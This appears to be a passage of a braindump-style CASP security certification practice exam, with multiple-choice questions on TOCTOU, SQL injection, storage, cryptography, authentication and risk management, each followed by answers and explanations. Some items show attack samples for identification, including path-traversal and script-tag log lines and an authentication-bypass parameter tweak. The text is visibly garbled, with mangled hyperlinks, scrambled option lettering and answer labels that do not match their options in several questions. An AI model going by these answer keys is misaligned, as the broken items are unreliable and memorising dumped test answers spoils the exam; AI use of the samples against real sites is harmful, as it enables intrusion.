A simple example is as follows: Consider a Web application that allows a user to edit pages, and also allows administrators to lock pages to prevent editing. A user requests to edit a page, getting a form which can be used to alter its content. Before the user submits the form, an administrator locks the page, which should prevent editing. However, since editing has already begun, when the user submits the form, those edits (which have already been made) are accepted. When the user began editing, the appropriate authorization was checked, and the user was indeed allowed to edit. However, the authorization was used later, at a time when edits should no longer have been allowed. TOCTOU race conditions are most common in Unix between operations on the file system, but can occur in other contexts, including local sockets and improper use of database transactions.

Incorrect Answers:

A: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. The exploit in this question is not an example of input validation.

B: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data.

A. The exploit

in this question is not an example of a SQL injection attack.

D: Session hijacking, also known as TCP session hijacking, is a method of taking over a Web user session by obtaining the session ID and masquerading as the authorized user. The exploit in this question is not an example of session hijacking.

References: https://en.wikipedia.org/wiki/HYPertext_LINK

"https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use"/Time_of_check_to_time_of_use

NEW QUESTION 127

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

- A. Client side input validation
- B. Stored procedure
- C. Encrypting credit card details
- D. Regular expression matching

Answer: D

Explanation:

Regular expression matching is a technique for reading and validating input, particularly in web software. This question is asking about securing input fields where customers enter their credit card details. In this case, the expected input into the credit card number field would be a sequence of numbers of a certain length. We can use regular expression matching to verify that the input is indeed a sequence of numbers. Anything that is not a sequence of numbers could be malicious code. Incorrect Answers:

A: Client side input validation could be used to validate the input into input fields. Client side input validation is where the validation is performed by the web browser. However this question is asking for the BEST answer. A user with malicious intent could bypass the client side input validation whereas it would be much more difficult to bypass regular expression matching implemented in the application code.

B: A stored procedure is SQL code saved as a script. A SQL user can run the stored procedure rather than typing all the SQL code contained in the stored procedure. A stored procedure is not used for validating input.

C: Any stored credit card details should be encrypted for security purposes. Also a secure method of transmission such as SSL or TLS should be used to encrypt the data when transmitting the credit card number over a network such as the Internet. However, encrypting credit card details is not a way of securing the input fields in an application.

NEW QUESTION 130

An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

- A. Deploy custom HIPS signatures to detect and block the attacks.
- B. Validate and deploy the appropriate patch.
- C. Run the application in terminal services to reduce the threat landscape.
- D. Deploy custom NIPS signatures to detect and block the attack

Answer: B

Explanation:

If an application has a known issue (such as susceptibility to buffer overflow attacks) and a patch is released to resolve the specific issue, then the best solution is always to deploy the patch.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Buffer overflow attacks are said to have arisen because the C programming language supplied the framework, and poor programming practices supplied the vulnerability.

Incorrect Answers:

A: This question is asking for the MOST comprehensive way to resolve the issue. A HIPS (Host Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

C: This question is asking for the MOST comprehensive way to resolve the issue. Running the application in terminal services may reduce the threat landscape.

However, it doesn't resolve the issue. Patching the application to eliminate the threat is a better solution.

D: This question is asking for the MOST comprehensive way to resolve the issue. A NIPS (Network Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

References: <http://searchsecurity.techtarget.com/definition/buffer-overflow>

NEW QUESTION 133

select id, firstname, lastname from authors User input= firstname= Hack;man lastname=Johnson

Which of the following types of attacks is the user attempting?

- A. XML injection
- B. Command injection
- C. Cross-site scripting
- D. SQL injection

Answer: D

Explanation:

The code in the question is SQL code. The attack is a SQL injection attack.

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Incorrect Answers:

A: The code in the question is not XML code. Therefore this is not an XML injection attack so this answer is incorrect.

B: Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. The code in the question is not the type of code you would use in a command injection attack.

C: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. The code in the question is not the type of code you would use in an XSS attack.

References: http://en.wikipedia.org/wiki/SQL_injection

NEW QUESTION 138

A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement?

- A. SAN
- B. NAS
- C. Virtual SAN
- D. Virtual storage

Answer: B

Explanation:

A NAS is an inexpensive storage solution suitable for small offices. Individual files can be encrypted by using the EFS (Encrypted File System) functionality provided by the NTFS file system.

NAS typically uses a common Ethernet network and can provide storage services to any authorized devices on that network.

Two primary NAS protocols are used in most environments. The choice of protocol depends largely on the type of computer or server connecting to the storage. Network File System (NFS) protocol usually used by servers to access storage in a NAS environment. Common Internet File System (CIFS), also sometimes called Server Message Block (SMB), is usually used for desktops, especially those running Microsoft Windows.

Unlike DAS and SAN, NAS is a file-level storage technology. This means the NAS appliance maintains and controls the files, folder structures, permission, and attributes of the data it holds. A typical NAS deployment integrates the NAS appliance with a user database, such as Active Directory, so file permissions can be assigned based on established users and groups. With Active Directory integration, most Windows New Technology File System (NTFS) permissions can be set on the files contained on a NAS device.

Incorrect Answers:

A: A SAN is expensive compared to a NAS and is more suitable for enterprise storage for larger networks.

C: A Virtual SAN is the combined local storage of multiple hypervisor servers (VMware ESXi for example) to create one virtual storage pool. This is not the best solution for a small office.

D: Virtual storage is storage presented by an underlying SAN or group of servers. This is not the best solution for a small office.

References:

<http://infrastructuretechnologypros.com/understanding-storage-technology-part-2-alphabet-soup-storage/> <http://infrastructuretechnologypros.com/understanding-storage-technology-part-2-alphabet-soup-storage/>

NEW QUESTION 139

The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an account with SELECT only privileges. Web server logs show the following:

90.76.165.40 -- [08/Mar/2014:10:54:04] "GET calendar.php?create%20table%20hidden HTTP/1.1" 200 5724

90.76.165.40 -- [08/Mar/2014:10:54:05] "GET ../../../../root/.bash_history HTTP/1.1" 200 5724 90.76.165.40 -- [08/Mar/2014:10:54:04] "GET index.php?user=<script>Create</script> HTTP/1.1" 200 5724

The security administrator also inspects the following file system locations on the database server using the command 'ls -al /root'

drwxrwxrwx 11 root root 4096 Sep 28 22:45 .

drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..

-rws----- 25 root root 4096 Mar 8 09:30 .bash_history

-rw----- 25 root root 4096 Mar 8 09:30 .bash_history

-rw----- 25 root root 4096 Mar 8 09:30 .profile

-rw----- 25 root root 4096 Mar 8 09:30 .ssh

Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the

future? (Select TWO).

- A. Privilege escalation
- B. Brute force attack
- C. SQL injection
- D. Cross-site scripting
- E. Using input validation, ensure the following characters are sanitized: <>
- F. Update crontab with: find / \(-perm -4000 \) -type f -print0 | xargs -0 ls -l | email.sh
- G. Implement the following PHP directive: \$clean_user_input = addslashes(\$user_input)
- H. Set an account lockout policy

Answer: AF

Explanation:

This is an example of privilege escalation.

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.

The question states that the web server communicates with the database server via an account with SELECT only privileges. However, the privileges listed include read, write and execute (rwx). This suggests the privileges have been 'escalated'.

Now that we know the system has been attacked, we should investigate what was done to the system.

The command "Update crontab with: find / \(-perm -4000 \) -type f -print0 | xargs -0 ls -l | email.sh" is used to find all the files that are setuid enabled. Setuid means set user ID upon execution. If the setuid bit is turned on for a file, the user executing that executable file gets the permissions of the individual or group that owns the file.

Incorrect Answers:

B: A brute force attack is used to guess passwords. This is not an example of a brute force attack. C: SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). This is not an example of a SQL Injection attack.

D: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. This is not an example of an XSS attack.

E: Sanitizing just the <> characters will not prevent such an attack. These characters should not be sanitized in a web application.

G: Adding slashes to the user input will not protect against the input; it will just add slashes to it.

H: An account lockout policy is useful to protect against password attacks. After a number of incorrect passwords, the account will lockout. However, the attack in this question is not a password attack so a lockout policy won't help.

NEW QUESTION 140

Which of the following technologies prevents an unauthorized HBA from viewing iSCSI target information?

- A. Deduplication
- B. Data snapshots
- C. LUN masking
- D. Storage multipaths

Answer: C

Explanation:

A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN).

LUN masking subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

Incorrect Answers:

A: Deduplication is the process of eliminating multiple copies of the same data to save storage space. It does not prevent an unauthorized HBA from viewing iSCSI target information.

B: Data snapshots are point in time copies of data often used by data backup applications. They do not prevent an unauthorized HBA from viewing iSCSI target information.

D: Storage multipaths are when you have multiple connections to a storage device. This provides path redundancy in the event of a path failure and can also (in active/active configurations) provide extra capacity by aggregating the bandwidth of the multiple storage paths. However, they do not prevent an unauthorized HBA from viewing iSCSI target information.

References:

<http://searchvirtualstorage.techtarget.com/definition/LUNmasking> rtualstorage.techtarget.com/definition/LUN-masking

NEW QUESTION 144

A penetration tester is inspecting traffic on a new mobile banking application and sends the following web request:

POST <http://www.example.com/resources/NewBankAccount> HTTP/1.1 Content-type: application/json

```
{
  "account": [
    { "creditAccount": "Credit Card Rewards account" }
    { "salesLeadRef": "www.example.com/badcontent/explogtme.exe" }
  ],
  "customer": [
    { "name": "Joe Citizen" }
    { "custRef": "3153151" }
  ]
}
```

The banking website responds with: HTTP/1.1 200 OK

```
{
  "newAccountDetails":
  [
    { "cardNumber": "1234123412341234" }
    { "cardExpiry": "2020-12-31" }
    { "cardCVV": "909" }
  ],
}
```



```
“marketingCookieTracker”:{“JSESSIONID=000000001” “returnCode”:{“Account added successfully”
}
```

Which of the following are security weaknesses in this example? (Select TWO).

- A. Missing input validation on some fields
- B. Vulnerable to SQL injection
- C. Sensitive details communicated in clear-text
- D. Vulnerable to XSS
- E. Vulnerable to malware file uploads
- F. JSON/REST is not as secure as XML

Answer: AC

Explanation:

The SalesLeadRef field has no input validation. The penetration tester should not be able to enter “www.example.com/badcontent/explogtme.exe” in this field. The credit card numbers are communicated in clear text which makes it vulnerable to an attacker. This kind of information should be encrypted.

Incorrect Answers:

B: There is nothing to suggest the system is vulnerable to SQL injection.

D: There is nothing to suggest the system is vulnerable to XSS (cross site scripting).

E: Although the tester was able to post a URL to malicious software, it does not mean the system is vulnerable to malware file uploads.

F: JSON/REST is no less secure than XML.

NEW QUESTION 149

Ann is testing the robustness of a marketing website through an intercepting proxy. She has intercepted the following HTTP request:

POST /login.aspx HTTP/1.1 Host: comptia.org

Content-type: text/html txtUsername=ann&txtPassword=ann&alreadyLoggedIn=false&submit=true

Which of the following should Ann perform to test whether the website is susceptible to a simple authentication bypass?

- A. Remove all of the post data and change the request to /login.aspx from POST to GET
- B. Attempt to brute force all usernames and passwords using a password cracker
- C. Remove the txtPassword post data and change alreadyLoggedIn from false to true
- D. Remove the txtUsername and txtPassword post data and toggle submit from true to false

Answer: C

Explanation:

The text “txtUsername=ann&txtPassword=ann” is an attempted login using a username of ‘ann’ and also a password of ‘ann’.

The text “alreadyLoggedIn=false” is saying that Ann is not already logged in.

To test whether we can bypass the authentication, we can attempt the login without the password

and we can see if we can bypass the ‘alreadyloggedin’ check by changing alreadyLoggedIn from false to true. If we are able to log in, then we have bypassed the authentication check.

Incorrect Answers:

A: GET /login.aspx would just return the login form. This does not test whether the website is susceptible to a simple authentication bypass.

B: We do not want to guess the usernames and passwords. We want to see if we can get into the site without authentication.

D: We need to submit the data so we cannot toggle submit from true to false.

NEW QUESTION 151

ABC Corporation uses multiple security zones to protect systems and information, and all of the VM hosts are part of a consolidated VM infrastructure. Each zone has different VM administrators. Which of the following restricts different zone administrators from directly accessing the console of a VM host from another zone?

- A. Ensure hypervisor layer firewalling between all VM hosts regardless of security zone.
- B. Maintain a separate virtual switch for each security zone and ensure VM hosts bind to only the correct virtual NIC(s).
- C. Organize VM hosts into containers based on security zone and restrict access using an ACL.
- D. Require multi-factor authentication when accessing the console at the physical VM hos

Answer: C

Explanation:

Access Control Lists (ACLs) are used to restrict access to the console of a virtual host. Virtual hosts are often managed by centralized management servers (for example: VMware vCenter Server). You can create logical containers that can contain multiple hosts and you can configure ACLs on the containers to provide access to the hosts within the container. Incorrect Answers:

A: Hypervisor layer firewalling is used to restrict the network traffic that can access the host. It does not prevent a user from directly accessing the console of the host.

B: Maintaining a separate virtual switch for each security zone and ensuring VM hosts bind to only the correct virtual NIC(s) will restrict the network access of the VM hosts. It does not prevent a user from directly accessing the console of the host.

D: Multi-factor authentication is a secure way of authenticating a user. However, that's all it does: authenticates someone. In other words, it only proves that the person is who they say they are. You would still need an ACL to determine whether that person is allowed or not allowed to access the console of the host.

NEW QUESTION 154

A security administrator has been asked to select a cryptographic algorithm to meet the criteria of a new application. The application utilizes streaming video that can be viewed both on computers and mobile devices. The application designers have asked that the algorithm support the transport encryption with the lowest possible performance overhead. Which of the following recommendations would BEST meet the needs of the application designers? (Select TWO).

- A. Use AES in Electronic Codebook mode
- B. Use RC4 in Cipher Block Chaining mode
- C. Use RC4 with Fixed IV generation
- D. Use AES with cipher text padding
- E. Use RC4 with a nonce generated IV
- F. Use AES in Counter mode

Answer: EF

Explanation:

In cryptography, an initialization vector (IV) is a fixed-size input to a cryptographic primitive that is typically required to be random or pseudorandom.

Randomization is crucial for encryption schemes to achieve semantic security, a property whereby repeated usage of the scheme under the same key does not allow an attacker to infer relationships between segments of the encrypted message.

Some cryptographic primitives require the IV only to be non-repeating, and the required randomness is derived internally. In this case, the IV is commonly called a nonce (number used once), and the primitives are described as stateful as opposed to randomized. This is because the IV need not be explicitly forwarded to a recipient but may be derived from a common state updated at both sender and receiver side. An example of stateful encryption schemes is the counter mode of operation, which uses a sequence number as a nonce.

AES is a block cipher. Counter mode turns a block cipher into a stream cipher. It generates the next keystream block by encrypting successive values of a "counter". The counter can be any function which produces a sequence which is guaranteed not to repeat for a long time, although an actual increment-by-one counter is the simplest and most popular.

Incorrect Answers:

A: AES in Electronic Codebook mode cannot be used to encrypt streaming video. You would need a stream cipher such as RC4 or AES in Counter Mode.

B: RC4 in Cipher Block Chaining mode cannot be used to encrypt streaming video. You would need a stream cipher such as RC4 (not in Cipher Block Chaining mode) or AES in Counter Mode.

C: You cannot use fixed IV generation for RC4 when encrypting streaming video.

D: AES with cipher text padding cannot be used to encrypt streaming video. You would need a stream cipher such as RC4 or AES in Counter Mode.

References: https://en.wikipedia.org/wiki/Initialization_vector

NEW QUESTION 156

A bank is in the process of developing a new mobile application. The mobile client renders content and communicates back to the company servers via REST/JSON calls. The bank wants to ensure that the communication is stateless between the mobile application and the web services gateway.

Which of the following controls MUST be implemented to enable stateless communication?

- A. Generate a one-time key as part of the device registration process.
- B. Require SSL between the mobile application and the web services gateway.
- C. The jsession cookie should be stored securely after authentication.
- D. Authentication assertion should be stored securely on the client

Answer: D

Explanation:

JSON Web Tokens (JWTs) are a great mechanism for persisting authentication information in a verifiable and stateless way, but that token still needs to be stored somewhere.

Login forms are one of the most common attack vectors. We want the user to give us a username and password, so we know who they are and what they have access to. We want to remember who the user is, allowing them to use the UI without having to present those credentials a second time. And we want to do all that securely. How can JWTs help?

The traditional solution is to put a session cookie in the user's browser. This cookie contains an identifier that references a "session" in your server, a place in your database where the server remembers who this user is.

However there are some drawbacks to session identifiers:

They're stateful. Your server has to remember that ID, and look it up for every request. This can become a burden with large systems.

They're opaque. They have no meaning to your client or your server. Your client doesn't know what it's allowed to access, and your server has to go to a database to figure out who this session is for and if they are allowed to perform the requested operation.

JWTs address all of these concerns by being a self-contained, signed, and stateless authentication assertion that can be shared amongst services with a common data format.

JWTs are self-contained strings signed with a secret key. They contain a set of claims that assert an identity and a scope of access. They can be stored in cookies, but all those rules still apply. In fact, JWTs can replace your opaque session identifier, so it's a complete win.

How To Store JWTs In The Browser

Short Answer:: use cookies, with the HttpOnly; Secure flags. This will allow the browser to send along the token for authentication purposes, but won't expose it to the JavaScript environment. Incorrect Answers:

A: A one-time key does not enable stateless communication.

B: SSL between the mobile application and the web services gateway will provide a secure encrypted connection between the two. However, SSL does not enable stateless communication.

C: A cookie is stateful, not stateless as required in the question. References:

<https://stormpath.com/blog/build-secure-user-interfaces-using-jwt>HYPERLINK "<https://stormpath.com/blog/build-secure-user-interfaces-using-jwts/>"s/

NEW QUESTION 158

A company decides to purchase commercially available software packages. This can introduce new security risks to the network. Which of the following is the BEST description of why this is true?

- A. Commercially available software packages are typically well known and widely available. Information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits.
- B. Commercially available software packages are often widely available
- C. Information concerning vulnerabilities is often kept internal to the company that developed the software.
- D. Commercially available software packages are not widespread and are only available in limited area
- E. Information concerning vulnerabilities is often ignored by business managers.
- F. Commercially available software packages are well known and widely available
- G. Information concerning vulnerabilities and viable attack patterns are always shared within the IT community.

Answer: B

Explanation:

Commercially available software packages are often widely available. Huge companies like Microsoft develop software packages that are widely available and in use on most computers. Most companies that develop commercial software make their software available through many commercial outlets (computer stores, online stores etc).

Information concerning vulnerabilities is often kept internal to the company that developed the software. The large companies that develop commercial software packages are accountable for the software. Information concerning vulnerabilities being made available could have a huge financial cost to the company in terms of loss of reputation and lost revenues. Information concerning vulnerabilities is often kept internal to the company at least until a patch is available to fix the vulnerability.

Incorrect Answers:

- A: It is true that commercially available software packages are typically well known and widely available. However, it is not true that information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits. Information concerning vulnerabilities is often kept quiet at first but the information is usually made available when a patch is released to fix the vulnerability.
- C: It is not true that commercially available software packages are not widespread and are only available in limited areas.
- D: It is true that commercially available software packages are typically well known and widely available. However, it is not true that information concerning vulnerabilities and viable attack patterns are always shared within the IT community. This information is often kept internal to the company that developed the software until a patch is available.

NEW QUESTION 160

A storage as a service company implements both encryption at rest as well as encryption in transit of customers' data

- A. The security administrator is concerned with the overall security of the encrypted customer data stored by the company servers and wants the development team to implement a solution that will strengthen the customer's encryption key
- B. Which of the following, if implemented, will MOST increase the time an offline password attack against the customers' data would take?
- C. `key = NULL ; for (int i=0; i<5000; i++) { key = sha(key + password) }`
- D. `password = NULL ; for (int i=0; i<10000; i++) { password = sha256(key) }`
- E. `password = password + sha(password+salt) + aes256(password+salt)`
- F. `key = aes128(sha256(password), password)`

Answer: A

Explanation:

References:

[http://HYPERLINK "http://stackoverflow.com/questions/4948322/fundamental-difference-betweenhashing- and-encryption-algorithms"](http://stackoverflow.com/questions/4948322/fundamental-difference-betweenhashing- and-encryption-algorithms)[sHYPERLINK "http://stackoverflow.com/questions/4948322/fundamental-difference-between-hashing-andencryption-algorithms"](http://stackoverflow.com/questions/4948322/fundamental-difference-between-hashing-andencryption-algorithms)[tackoverflow.com/questions/4948322/fundamental-difference-betweenhashing-and-encryption-a](http://stackoverflow.com/questions/4948322/fundamental-difference-betweenhashing-and-encryption-a)[HYPERLINK "http://stackoverflow.com/questions/4948322/fundamentaldifference- between-hashing-and-encryption-algorithms"](http://stackoverflow.com/questions/4948322/fundamentaldifference- between-hashing-and-encryption-algorithms)gorithms

NEW QUESTION 165

A security administrator has noticed that an increased number of employees' workstations are becoming infected with malware. The company deploys an enterprise antivirus system as well as a web content filter, which blocks access to malicious web sites where malware files can be downloaded. Additionally, the company implements technical measures to disable external storage. Which of the following is a technical control that the security administrator should implement next to reduce malware infection?

- A. Implement an Acceptable Use Policy which addresses malware downloads.
- B. Deploy a network access control system with a persistent agent.
- C. Enforce mandatory security awareness training for all employees and contractors.
- D. Block cloud-based storage software on the company network

Answer: D

Explanation:

The question states that the company implements technical measures to disable external storage. This is storage such as USB flash drives and will help to ensure that the users do not bring unauthorized data that could potentially contain malware into the network.

We should extend this by blocking cloud-based storage software on the company network. This would block access to cloud-based storage services such as Dropbox or OneDrive.

Incorrect Answers:

- A: An Acceptable Use Policy is always a good idea
- A. However, it just tells the users how they 'should' use the company systems. It is not a technical control to prevent malware.
- B: A network access control system is used to control access to the network. It does not prevent malware on client computers.
- C: Mandatory security awareness training for all employees and contractors is always a good idea. However, it just educates the users about potential security risks. It is not a technical control to prevent malware.

NEW QUESTION 170

A multi-national company has a highly mobile workforce and minimal IT infrastructure. The company utilizes a BYOD and social media policy to integrate presence technology into global collaboration tools by individuals and teams. As a result of the dispersed employees and frequent international travel, the company is concerned about the safety of employees and their families when moving in and out of certain countries. Which of the following could the company view as a downside of using presence technology?

- A. Insider threat
- B. Network reconnaissance
- C. Physical security
- D. Industrial espionage

Answer: C

Explanation:

If all company users worked in the same office with one corporate network and using company supplied laptops, then it is easy to implement all sorts of physical security controls. Examples of physical security include intrusion detection systems, fire protection systems, surveillance cameras or simply a lock on the office door.

However, in this question we have dispersed employees using their own devices and frequently traveling internationally. This makes it extremely difficult to implement any kind of physical security. Physical security is the protection of personnel, hardware, programs, networks, and data from physical circumstances and events that could cause serious losses or damage to an enterprise, agency, or institution. This includes protection from fire, natural disasters, burglary, theft, vandalism, and terrorism.

Incorrect Answers:

- A: An insider threat is a malicious hacker (also called a cracker or a black hat) who is an employee or officer of a business, institution, or agency. Dispersed employees using presence technology does not increase the risk of insider threat when compared to employees working together in an office.
- B: The risk of network reconnaissance is reduced by having dispersed employees using presence technology. The risk of network reconnaissance would be higher

with employees working together in a single location such as an office.

D: Industrial espionage is a threat to any business whose livelihood depends on information. However, this threat is not increased by having dispersed employees using presence technology. The risk would be the same with dispersed employees using presence technology or employees working together in a single location such as an office.

References: <http://searchsecurity.techtarget.com/deHYPERLINK>

"<http://searchsecurity.techtarget.com/definition/physical-security>"finition/physical-security

NEW QUESTION 172

A network engineer wants to deploy user-based authentication across the company's wired and wireless infrastructure at layer 2 of the OSI model. Company policies require that users be centrally managed and authenticated and that each user's network access be controlled based on the user's role within the company. Additionally, the central authentication system must support hierarchical trust and the ability to natively authenticate mobile devices and workstations. Which of the following are needed to implement these requirements? (Select TWO).

- A. SAML
- B. WAYF
- C. LDAP
- D. RADIUS
- E. Shibboleth
- F. PKI

Answer: CD

Explanation:

RADIUS is commonly used for the authentication of WiFi connections. We can use LDAP and RADIUS for the authentication of users and devices.

LDAP and RADIUS have something in common. They're both mainly protocols (more than a database) which uses attributes to carry information back and forth. They're clearly defined in RFC documents so you can expect products from different vendors to be able to function properly together.

RADIUS is NOT a database. It's a protocol for asking intelligent questions to a user database. LDAP is just a database. In recent offerings it contains a bit of intelligence (like Roles, Class of Service and so on) but it still is mainly just a rather stupid database. RADIUS (actually RADIUS servers like FreeRADIUS) provide the administrator the tools to not only perform user authentication but also to authorize users based on extremely complex checks and logic. For instance you can allow access on a specific NAS only if the user belongs to a certain category, is a member of a specific group and an outside script allows access. There's no way to perform any type of such complex decisions in a user database.

Incorrect Answers:

A: Security Assertion Markup Language (SAML) is an XML-based, open-standard data format for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. It is used for authenticating users, not devices.

B: WAYF stands for Where Are You From. It is a third-party authentication provider used by websites of some online institutions. WAYF does not meet the requirements in this question.

E: Shibboleth is an open-source project that provides Single Sign-On capabilities and allows sites to make informed authorization decisions for individual access of protected online resources. It cannot perform the device authentication required in this question.

F: PKI (Public Key Infrastructure) uses digital certificates to affirm the identity of the certificate subject and bind that identity to the public key contained in the certificate. PKI does not meet the requirements in this question.

References: <https://kkalev.wordpress.com/2007/03/17/radius-vs-ldap/>

NEW QUESTION 175

The Information Security Officer (ISO) is reviewing new policies that have been recently made effective and now apply to the company. Upon review, the ISO identifies a new requirement to implement two-factor authentication on the company's wireless system. Due to budget constraints, the company will be unable to implement the requirement for the next two years. The ISO is required to submit a policy exception form to the Chief Information Officer (CIO). Which of the following are MOST important to include when submitting the exception form? (Select THREE).

- A. Business or technical justification for not implementing the requirements.
- B. Risks associated with the inability to implement the requirements.
- C. Industry best practices with respect to the technical implementation of the current controls.
- D. All sections of the policy that may justify non-implementation of the requirements.
- E. A revised DRP and COOP plan to the exception form.
- F. Internal procedures that may justify a budget submission to implement the new requirement.
- G. Current and planned controls to mitigate the risk

Answer: ABG

Explanation:

The Exception Request must include: A description of the non-compliance.

The anticipated length of non-compliance (2-year maximum). The proposed assessment of risk associated with non-compliance.

The proposed plan for managing the risk associated with non-compliance.

The proposed metrics for evaluating the success of risk management (if risk is significant). The proposed review date to evaluate progress toward compliance.

An endorsement of the request by the appropriate Information Trustee (VP or Dean). Incorrect Answers:

C: The policy exception form is not for implementation, but for non-implementation.

D: All sections of the policy that may justify non-implementation of the requirements is not required, a description of the non-compliance is.

E: A Disaster recovery plan (DRP) and a Continuity of Operations (COOP) plan is not required, a proposed plan for managing the risk associated with non-compliance is.

F: The policy exception form requires justification for not implementing the requirements, not the other way around.

References: <http://www.rit.edu/security/sites/rit.edu.security/files/exception%20process.pdf>

NEW QUESTION 179

The Chief Information Officer (CIO) is reviewing the IT centric BIA and RA documentation. The documentation shows that a single 24 hours downtime in a critical business function will cost the business \$2.3 million. Additionally, the business unit which depends on the critical business function has determined that there is a high probability that a threat will materialize based on historical data. The CIO's budget does not allow for full system hardware replacement in case of a catastrophic failure, nor does it allow for the purchase of additional compensating controls. Which of the following should the CIO recommend to the finance director to minimize financial loss?

- A. The company should mitigate the risk.
- B. The company should transfer the risk.

- C. The company should avoid the risk.
- D. The company should accept the risk.

Answer: B

Explanation:

To transfer the risk is to defilect it to a third party, by taking out insurance for example. Incorrect Answers:

A: Mitigation is not an option as the CIO's budget does not allow for the purchase of additional compensating controls.

C: Avoiding the risk is not an option as the business unit depends on the critical business function. D: Accepting the risk would not reduce financial loss.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, p. 218

NEW QUESTION 183

A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider's relationship?

- A. Memorandum of Agreement
- B. Interconnection Security Agreement
- C. Non-Disclosure Agreement
- D. Operating Level Agreement

Answer: B

Explanation:

The Interconnection Security Agreement (ISA) is a document that identifies the requirements for connecting systems and networks and details what security controls are to be used to protect the systems and sensitive data.

Incorrect Answers:

A: A memorandum of agreement (MOA) is a document composed between parties to cooperate on an agreed upon project or meet an agreed objective.

C: A nondisclosure agreement (NDA) is designed to protect confidential information.

D: An operating level agreement (OLA) defines the responsibilities of each partner's internal support group.

References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 237, 238

NEW QUESTION 184

The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configuration processes, and support incident reconstruction. Which of the following designs BEST supports the given requirements?

- A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.
- B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.
- C. A SaaS based firewall which logs to the company's local storage via SSL, and is managed by the change control team.
- D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.

Answer: A

Explanation:

Security in depth is the concept of creating additional layers of security. The traditional approach of securing the IT infrastructure is no longer enough. Today's threats are multifaceted and often persistent, and traditional network perimeter security controls cannot effectively mitigate them. Organizations need to implement more effective, multi-level security controls that are embedded with their electronic assets. They need to protect key assets from both external and internal threats. This security in depth approach is meant to sustain attacks even when perimeter and traditional controls have been breached.

In this question, using two firewalls to secure the DMZ from both external and internal attacks is the best approach. Having each firewall managed by a separate administrator will reduce the chance of a configuration error being made on both firewalls. The remote logging will enable incident reconstruction.

Incorrect Answers:

B: Depending on the number of interfaces on the firewall, you could protect from external and internal threats with a single firewall although two firewalls is a better solution. However, it is not practical to have separate interfaces on the same firewall managed by different administrators. The firewall rules work together in a hierarchy to determine what traffic is allowed through each interface.

C: A SaaS based firewall can be used to protect cloud resources. However, it is not the best solution for protecting the network in this question.

D: A virtualized firewall could be used. However, multiple instances of the same firewall should be identical. They should not be configured separately by different administrators.

References:

[http://www.oracle.com/technetwork/topics/entarch/oracle-wp-securiHYPERLINK "http://www.oracle.com/technetwork/topics/entarch/oracle-wp-security-ref-arch-1918345.pdf"](http://www.oracle.com/technetwork/topics/entarch/oracle-wp-securiHYPERLINK)tyref- arch-1918345.pdf

NEW QUESTION 186

An assessor identifies automated methods for identifying security control compliance through validating sensors at the endpoint and at Tier 2. Which of the following practices satisfy continuous monitoring of authorized information systems?

- A. Independent verification and validation
